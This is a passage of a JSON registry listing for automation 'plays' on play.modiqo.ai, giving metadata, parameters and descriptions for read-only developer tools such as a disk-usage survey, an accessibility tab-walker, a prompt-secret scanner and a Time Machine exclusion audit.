trust.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-agent-operations","job-cost-analysis","tool-mcp","diagnostics","composition"],"primary_domain":"domain-agent-operations","author":"himanshu748","version":"0.1.2","published_at":"2026-09-05T03:17:56.906984+00:00","visibility":"public","quality_score":1,"size_bytes":19547,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["budget","skills","survey","servers","heaviest"]},"parameters":[{"name":"window","type":"string","required":false,"default":"200000","description":"The context window the percentage is quoted against, in tokens. It is a stated assumption printed in the report, not a fact this play reads from your model.","example":"200000"},{"name":"timeout","type":"string","required":false,"default":"20","description":"Seconds to wait for each server to answer initialize and tools/list. A cold npx start is genuinely slow, so a low value here reports working servers as unmeasured.","example":"20"},{"name":"limit","type":"string","required":false,"default":"40","description":"Most servers to start. Anything beyond this is reported as not reached rather than silently dropped, and makes the total an explicit lower bound.","example":"40"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:70a758c2c20f2233b9e5aa270723605db12138e8135622c1f69354bdae321899","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/keyboard-reachability@0.2.1","reference":"himanshu-jha/keyboard-reachability@0.2.1","uri":"https://play.modiqo.ai/himanshu-jha/keyboard-reachability@0.2.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/keyboard-reachability@0.2.1","name":"keyboard-reachability","title":"keyboard-reachability","description":"Presses Tab through a local built page in Chromium at desktop and mobile widths, then compares focused and blurred screenshots for up to 40 desktop stops. Reports visible controls Tab does not reach, empty browser-computed accessible names, and byte-identical focus renders. Three browser checks run in parallel after one build lookup. Inventory scans up to 20000 candidates and retains up to 1500 visible controls after filtering; every omitted item and unfinished walk is reported. Focus coverage must close its cycle and match the desktop walk before the join can say REACHABLE. No finding with incomplete coverage is NOT FULLY MEASURED, not a pass. It serves regular non-hidden build files through a confined loopback server, rejecting symlinks and directory listings. Tab does not activate controls. The project is not modified; Chromium uses temporary runtime files. Page scripts still run and can request external resources. This is a bounded reachability check, not a complete accessibility certification.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-engineering","tool-browser","job-accessibility-audit","frontend","composition"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.2.1","published_at":"2026-09-05T03:15:18.513093+00:00","visibility":"public","quality_score":1,"size_bytes":28116,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["rings","locate","report","walk_mobile","walk_desktop"]},"parameters":[{"name":"path","type":"string","required":false,"default":"","description":"Absolute path to the built output, or to the project holding it. Leave it out and the most recently built page under your usual project directories is walked, with the report naming which one it chose; when this machine has no build at all, the bundled demo build is walked and the report says so in its first line. A relative path is never right here: steps run in the play run workspace, not your shell.","example":"/Users/you/project/dist"},{"name":"wait_ms","type":"string","required":false,"default":"1200","description":"How long to let the page settle after load before tabbing, in milliseconds. It is a choice this play makes and prints, not a standard: a control that appears later than this is never walked.","example":"1200"},{"name":"timeout_ms","type":"string","required":false,"default":"25000","description":"How long a single page load may take before that width is reported as not walked rather than as clean.","example":"25000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a595bf38a550aff06141bce7e2dc7af07ff7950b5173993ce5bbaa3b71d715e6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/harsh/disk-diet@0.1.0","reference":"harsh/disk-diet@0.1.0","uri":"https://play.modiqo.ai/harsh/disk-diet@0.1.0","manifest_uri":"https://play.modiqo.ai/harsh/disk-diet@0.1.0","name":"disk-diet","title":"disk-diet","description":"Your dev machine is carrying gigabytes it will never miss: node_modules in projects you last touched in spring, package caches for six package managers, Xcode DerivedData, simulators for runtimes you deleted, Docker layers, model downloads, installers still in Downloads. Six parallel probes each take one reading of one family - project dependency and build folders under your roots (with how long each project has been idle), a fixed table of 40 package-manager and toolchain caches (npm, pnpm, yarn, bun, pip, uv, poetry, conda, cargo, go, gradle, maven, CocoaPods, SwiftPM, Homebrew, Playwright, Cypress, nvm, pyenv, rustup ...), docker and podman system df plus the VM disk files, Xcode and Android SDK weight including simulators xcrun no longer has a runtime for, AI model caches and agent transcripts, and Trash, logs, app caches and stale installers. A seventh step joins them into one ranked table where every row carries a grade (A: safe now, the tool rebuilds it; B: re-download; C: review, may hold state), how long it has been idle, and a copy-pasteable command. Every probe is bounded by a time budget and says AT LEAST when it hit it; a missing tool or a folder the terminal is not permitted to read is an explicit absence, never a silent zero. Sizes are on-disk bytes, the number Finder and du report, with hard links counted once. Read-only: it opens no file for content, writes nothing, needs no network and no credentials, and prints commands for you to review rather than running any of them. Needs only python3 (3.9 is enough); docker, podman and xcrun are consulted only when installed. Works on macOS and Linux.","owner":{"kind":"user","slug":"harsh"},"registry_organization":"harsh","tags":["disk-space","cleanup","node_modules","caches","docker","xcode","simulators","storage","reclaim","macos","linux","python3","domain-developer-machine","job-disk-cleanup","audience-developers","effect-read-only"],"primary_domain":"domain-developer-machine","author":"harsh","version":"0.1.0","published_at":"2026-09-04T22:05:14.260041+00:00","visibility":"public","quality_score":1,"size_bytes":33015,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":7,"names":["ai","caches","mobile","report","system","projects","containers"]},"parameters":[{"name":"roots","type":"string","required":false,"default":"~","description":"Comma-separated directories to scan for project dependency and build folders. Default: your home directory."},{"name":"stale_days","type":"string","required":false,"default":"30","description":"A project untouched for this many days makes its node_modules, venv or build folder grade A (safe now) instead of B. Also the age threshold for installers in Downloads. 0 disables."},{"name":"top","type":"string","required":false,"default":"25","description":"How many rows to show in the ranked table."},{"name":"min_mb","type":"string","required":false,"default":"20","description":"Findings smaller than this many megabytes are summed into totals but not listed."},{"name":"max_depth","type":"string","required":false,"default":"6","description":"How many directory levels below each root to look for projects."},{"name":"budget_seconds","type":"string","required":false,"default":"60","description":"Wall-clock budget per probe. A probe that runs out reports what it measured and labels the rest AT LEAST."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:af211538ebfd00134013a0dc4456c1ee1747cb7d00b7948d5476e72030aca899","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":6,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohit-labs/med-rx-interaction-probe@0.0.2","reference":"mohit-labs/med-rx-interaction-probe@0.0.2","uri":"https://play.modiqo.ai/mohit-labs/med-rx-interaction-probe@0.0.2","manifest_uri":"https://play.modiqo.ai/mohit-labs/med-rx-interaction-probe@0.0.2","name":"med-rx-interaction-probe","title":"Clinical Rx Drug Identity, Recall, Adverse Event & Label Sentinel","description":"High-performance parallel clinical safety auditor and deterministic verification layer eliminating AI medical hallucinations. Orchestrates live federal APIs—NIH RxNorm for chemical identity, OpenFDA for enforcement recalls and FAERS adverse events, and DailyMed for official package insert setId links—into machine-parseable risk tiers and actionable agentic intelligence.","owner":{"kind":"org","slug":"mohit-labs"},"registry_organization":"mohit-labs","tags":["healthcare","fda","rxnorm","dailymed","clinical-safety"],"primary_domain":"domain-uncategorized","author":"mohit-labs","version":"0.0.2","published_at":"2026-09-04T20:09:55.838137+00:00","visibility":"public","quality_score":0.649999976158142,"size_bytes":4408,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":6,"names":["env_probe","parse_drugs","rxnorm_probe","dailymed_probe","fda_event_probe","fda_recall_probe"]},"parameters":[{"name":"drugNames","type":"string","required":false,"default":"Warfarin,Aspirin","description":"Comma-separated list of target medication names to audit against clinical, enforcement, and package label endpoints."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2497de2d27325cbc0b68903ef42e41fc5565c3dc50ecf9c009cf5b4f1aedf9fa","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":4,"for_each_steps":4,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sonic-tools/dataset-hunter@0.1.1","reference":"sonic-tools/dataset-hunter@0.1.1","uri":"https://play.modiqo.ai/sonic-tools/dataset-hunter@0.1.1","manifest_uri":"https://play.modiqo.ai/sonic-tools/dataset-hunter@0.1.1","name":"dataset-hunter","title":"dataset-hunter","description":"Search Kaggle + Hugging Face, download datasets, and grow small samples into more rows — no signup, no API keys, needs only python3 and internet. One call returns a ranked, interleaved list with sizes and download counts; pick a dataset to inspect it, download it to ./datasets with a manifest, or synthesize a larger numeric-perturbed copy of the downloaded CSV/JSON/JSONL to an exact row target. Nothing is written unless download=true or synthesize=true, and synthesize only ever reads data downloaded in the same run, so datasets are never mixed. Kaggle download is intentionally not offered (it needs a token); downloads come from Hugging Face. Pure Python standard library, deterministic output, and honest failures: offline, bad pick, or unwritable out_dir fail loudly instead of fake-green. Try: rote play run https://play.modiqo.ai/sonic-tools/dataset-hunter query=iris then ... query=iris pick=scikit-learn/iris download=true synthesize=true","owner":{"kind":"org","slug":"sonic-tools"},"registry_organization":"sonic-tools","tags":["domain-ai-ml","domain-research","audience-data-scientists","audience-ml-engineers","effect-optional-write"],"primary_domain":"domain-ai-ml","author":"sonic","version":"0.1.1","published_at":"2026-09-04T19:53:12.7462+00:00","visibility":"public","quality_score":0.899999976158142,"size_bytes":28278,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["hunt"]},"parameters":[{"name":"query","type":"string","required":true,"default":"","description":"Search terms for the dataset (e.g. 'iris', 'cats', 'sentiment')","example":"iris"},{"name":"source","type":"string","required":false,"default":"both","description":"Where to search — 'both', 'huggingface', or 'kaggle'","example":"both"},{"name":"limit","type":"integer","required":false,"default":"8","description":"Maximum results to list (per provider share; capped at 100)","example":"8"},{"name":"min_downloads","type":"integer","required":false,"default":"0","description":"Only keep results with at least this many downloads","example":"0"},{"name":"pick","type":"string","required":false,"default":"","description":"Focus on one result — a list index (1-based) or a dataset id like 'scikit-learn/iris'. Downloads and synthesis act on this dataset.","example":"1"},{"name":"download","type":"boolean","required":false,"default":"false","description":"Download the picked huggingface dataset to out_dir (kaggle download is search-only by design)","example":"true"},{"name":"out_dir","type":"string","required":false,"default":"./datasets","description":"Directory for downloads and synthesized output","example":"./datasets"},{"name":"synthesize","type":"boolean","required":false,"default":"false","description":"Generate a numeric-perturbed synthetic copy of CSV/JSON/JSONL data found in out_dir, targeting n_rows rows","example":"true"},{"name":"n_rows","type":"integer","required":false,"default":"1000","description":"Exact target row count for synthesized output","example":"1000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6596ba3f9e0aa9cd564e02a10a4c2ef74a1a4e9b4f3d06bc3a668ddcc7dd5c10","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/doc-example-runner@0.1.0","reference":"bhanu82/doc-example-runner@0.1.0","uri":"https://play.modiqo.ai/bhanu82/doc-example-runner@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/doc-example-runner@0.1.0","name":"doc-example-runner","title":"doc-example-runner","description":"Docs rot one paste at a time. Structurally scans fenced code examples across repo markdown for unclosed fences and missing language tags, and checks every file each example names exists. Executes nothing, edits nothing. Zero keys, read-only, bash plus python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-docs-hygiene","audience-developers","markdown","examples","audit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:42.521659+00:00","visibility":"public","quality_score":1,"size_bytes":8799,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["scan_fences","collect_docs","check_refs_join"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path of the repo to audit; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_files","type":"integer","required":false,"default":"200","description":"Maximum markdown files scanned","example":"100"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e32d577cc74984a35c995d82924db1eabca9fb47d2930f4ae1e17785f61b5c4c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":2},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/bhanu82/retry-budget-guard@0.1.0","reference":"bhanu82/retry-budget-guard@0.1.0","uri":"https://play.modiqo.ai/bhanu82/retry-budget-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/retry-budget-guard@0.1.0","name":"retry-budget-guard","title":"retry-budget-guard","description":"Where does this repo retry with no budget? Static walk of Python/JS/TS for retry loops missing backoff, jitter, and cap. Comments blanked, code never executed. Pre-commit habit with zero keys, python3 stdlib only.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-retry-hygiene","audience-developers","reliability","pre-commit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:31.433316+00:00","visibility":"public","quality_score":1,"size_bytes":5395,"license":"MIT","stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["guard_scan"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path of the worktree; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_files","type":"integer","required":false,"default":"500","description":"Maximum source files scanned","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:b5e13e36bec51228ba2dcba2cd2fb3cb8fac58ebc2cbdbded8bb0f97b8e480da","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/prompt-secret-leak@0.1.0","reference":"bhanu82/prompt-secret-leak@0.1.0","uri":"https://play.modiqo.ai/bhanu82/prompt-secret-leak@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/prompt-secret-leak@0.1.0","name":"prompt-secret-leak","title":"prompt-secret-leak","description":"Pasted a token or password into a prompt? It now lives in your agent transcripts. Scans JSONL session transcripts, USER turns only, for secret-shaped strings and reports redacted shapes with file locations, never values. Zero setup, zero API keys, runs completely locally.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-prompt-secret-scan","audience-developers","transcripts","secrets"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:24.099048+00:00","visibility":"public","quality_score":1,"size_bytes":6059,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":1,"names":["scan_secrets"]},"parameters":[{"name":"transcript_dir","type":"string","required":false,"default":"","description":"Absolute path of the JSONL transcript directory; empty runs the bundled synthetic fixture. Relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/.claude/projects/my-repo"},{"name":"max_sessions","type":"integer","required":false,"default":"50","description":"Maximum transcript files to inspect","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:04dfbe2b7e7a20c79449965505ff60b3729882b3ef283d9027330aeeba05a359","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sundaram2021/ai-news-benchmarks-briefing@0.2.0","reference":"sundaram2021/ai-news-benchmarks-briefing@0.2.0","uri":"https://play.modiqo.ai/sundaram2021/ai-news-benchmarks-briefing@0.2.0","manifest_uri":"https://play.modiqo.ai/sundaram2021/ai-news-benchmarks-briefing@0.2.0","name":"ai-news-benchmarks-briefing","title":"ai-news-benchmarks-briefing","description":"Weekly AI briefing: latest AI news from HN, TechCrunch and Ars Technica, plus a 6-benchmark comparison (MMLU-Pro, GPQA Diamond, HLE, SWE-bench, Arena Elo, OSWorld) merged with the live model catalog. Public data only, no credentials, chat Markdown output.","owner":{"kind":"user","slug":"sundaram2021"},"registry_organization":"sundaram2021","tags":["typescript","ai-news","benchmarks","briefing"],"primary_domain":"domain-uncategorized","author":"sundaram2021","version":"0.2.0","published_at":"2026-09-04T18:37:32.898596+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":9090,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":3,"names":["fetch_ai_news","render_briefing","fetch_model_catalog"]},"parameters":[{"name":"window_days","type":"string","required":false,"default":"7","description":"Lookback window in days for AI news (1-90)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ddebc827e80fc1d167656381b01de36e69f329938ed2764e106bbcedd54705c2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/samarthmm/transcript-to-actions@0.2.0","reference":"samarthmm/transcript-to-actions@0.2.0","uri":"https://play.modiqo.ai/samarthmm/transcript-to-actions@0.2.0","manifest_uri":"https://play.modiqo.ai/samarthmm/transcript-to-actions@0.2.0","name":"transcript-to-actions","title":"transcript-to-actions","description":"We've all sat through meetings and forgotten who owns what by the next day. This play has your back.\n\nRun by an agent, it turns a transcript into notes and action items:\n\n1. Read the transcript -> a local file path or pasted text, auto-detected\n2. Extract notes + action items -> show_summary prints them (zero setup, fully local), or post_summary sends them to Slack (optional, needs a connected Slack app)\n\nread_transcript and show_summary need nothing but this play. NOT read-only: post_summary sends a real Slack message and requires a Slack adapter/token.","owner":{"kind":"user","slug":"samarthmm"},"registry_organization":"samarthmm","tags":["slack","meetings","notes","action-items","effect-write","not-read-only","zero-setup-option"],"primary_domain":"domain-uncategorized","author":"Samarthm Work","version":"0.2.0","published_at":"2026-09-04T18:08:48.411888+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":3230,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":2,"names":["post_summary","read_transcript"]},"parameters":[{"name":"operation","type":"string","required":true,"description":"Which operation to run: read_transcript (local, no setup), show_summary (local, no setup), or post_summary (Slack write, needs a connected Slack app).","values":["read_transcript","show_summary","post_summary"]},{"name":"transcript_source","type":"string","required":false,"default":"","description":"For operation=read_transcript. Either an absolute local file path to the transcript, or the raw transcript text pasted directly. Auto-detected: if it resolves to an existing file, the file is read; otherwise it is treated as literal transcript text."},{"name":"channel","type":"string","required":false,"default":"#meeting-notes","description":"For operation=post_summary only. The Slack channel to post the notes and action items to."},{"name":"message","type":"string","required":false,"default":"","description":"For operation=show_summary or operation=post_summary. The notes summary plus action-item checklist, already composed by the caller. show_summary just prints it; post_summary sends it to Slack."}],"execution":{"adapters":[{"id":"samarthmm/slack","name":"slack","version":null,"credential_status":"none"},{"id":"slack","name":"slack","version":null,"credential_status":"none"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":["post_summary"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:3aa56913a1761bbfd79c5fe1ad9a635e4c63bec72f106573f80725195089d3bf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":1,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":2,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[{"adapter":"slack","steps":1,"methods":["chat_postMessage"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"samarthmm/slack","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":["post_summary"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/ranger-jay/use-it-or-lose-it@0.1.1","reference":"ranger-jay/use-it-or-lose-it@0.1.1","uri":"https://play.modiqo.ai/ranger-jay/use-it-or-lose-it@0.1.1","manifest_uri":"https://play.modiqo.ai/ranger-jay/use-it-or-lose-it@0.1.1","name":"use-it-or-lose-it","title":"use-it-or-lose-it","description":"Evidence-first read-only Gmail and Google Calendar Play for monetary value and benefits at risk before explicit deadlines","owner":{"kind":"user","slug":"ranger-jay"},"registry_organization":"ranger-jay","tags":["gmail","calendar","monetary-value","deadlines","read-only"],"primary_domain":"domain-uncategorized","author":"ranger-jay","version":"0.1.1","published_at":"2026-09-04T17:55:57.615383+00:00","visibility":"public","quality_score":1,"size_bytes":4528,"license":null,"stats":{"downloads":2,"installs":0},"steps":{"count":5,"names":["auth_gmail","gmail_list","auth_calendar","calendar_list","gmail_messages"]},"parameters":[{"name":"gmail_query","type":"string","required":false,"default":"newer_than:90d","description":"Bounded Gmail search query for evidence candidates"},{"name":"calendar_start","type":"string","required":false,"default":"2026-09-04T00:00:00Z","description":"Inclusive ISO-8601 start for the read-only Calendar window"},{"name":"calendar_end","type":"string","required":false,"default":"2026-10-04T00:00:00Z","description":"Exclusive ISO-8601 end for the read-only Calendar window"},{"name":"max_items","type":"integer","required":false,"default":20,"description":"Maximum messages and events considered (1-50)"},{"name":"closing_soon_days","type":"integer","required":false,"default":14,"description":"Deadline horizon in days for CLOSING SOON state"}],"execution":{"adapters":[{"id":"modiqo/calendar","name":"calendar","version":null,"credential_status":"required"},{"id":"modiqo/gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"gmail","name":"gmail","version":null,"credential_status":"required"},{"id":"calendar","name":"calendar","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7ee3d222f8480ebc90e1b955539b82c6fd168c02d36a171d2d43111193d05a32","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":3,"shell":0,"browser":0,"auth":2,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":1,"for_each_steps":1,"complexity":5,"apis":[{"adapter":"gmail","steps":3,"methods":["gmail.users.messages.get","gmail.users.messages.list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/gmail","version":"0.0.3","protocol":null,"credentials":[]},{"adapter":"calendar","steps":2,"methods":["calendar.events.list"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/calendar","version":"0.0.4","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/dotisacat/timemachine-exclusions-audit@0.1.1","reference":"dotisacat/timemachine-exclusions-audit@0.1.1","uri":"https://play.modiqo.ai/dotisacat/timemachine-exclusions-audit@0.1.1","manifest_uri":"https://play.modiqo.ai/dotisacat/timemachine-exclusions-audit@0.1.1","name":"timemachine-exclusions-audit","title":"timemachine-exclusions-audit","description":"Time Machine exclusions are invisible until restore day. Companion to laptop-loss-drill -- that play answers whether there is a backup at all and what git work is unique; this one answers whether your backup even COVERS the paths you think it does, no shared state between them. Five jobs, in order: (1) discover_paths builds the path list, depth-bounded under base_dir: every \"project dir\" (a directory that directly contains .git, package.json, pyproject.toml, Cargo.toml, go.mod, pom.xml, Gemfile, or composer.json -- the walk stops the moment one is found, never descending into it) PLUS a fixed list of high-value roots (~/Documents, ~/Desktop, ~/.ssh, ~/.claude) PLUS \"dev dirs found\" -- a presence-only probe of common developer-root names (~/Developer, ~/dev, ~/Projects, ~/src, ~/Code, ~/repos, ~/workspace and a couple more), included only when they exist on this machine; (2) check_exclusions asks `tmutil isexcluded` about every discovered path, batched several paths per invocation with bounded concurrency across batches (never one process per path), a per-batch timeout, and a batch failure degrading only the paths in THAT batch to a labeled unknown row, never the whole step; (3) it separately reads the sticky per-item xattr Time Machine's own \"Exclude these items\" UI (and some third-party tools -- node_modules is sometimes auto-excluded this way) sets on an excluded directory, com.apple.metadata:com_apple_backup_excludeItem, one read per path, no sudo; (4) it separately reads the SYSTEM-wide SkipPaths list from /Library/Preferences/com.apple.TimeMachine via `defaults export` (readable without sudo through cfprefsd even though the backing file itself is root-owned and SIP-guarded against a direct read), once per run, and matches each excluded path against it; when tmutil reports a path excluded, the sticky xattr and the SkipPaths match are consulted, in that order, only to LABEL why -- sticky-xattr vs system -- and a path excluded by neither of those two readable-without-sudo channels is still reported excluded, just with exclusion_source \"unknown\", never silently reattributed to look more complete than it is; (5) on any platform other than macOS this play degrades instantly and honestly to one line -- \"Time Machine is a macOS system\" -- still exit 0, no crash, nothing else attempted, a Linux runner learns in under a second. Read-only, no 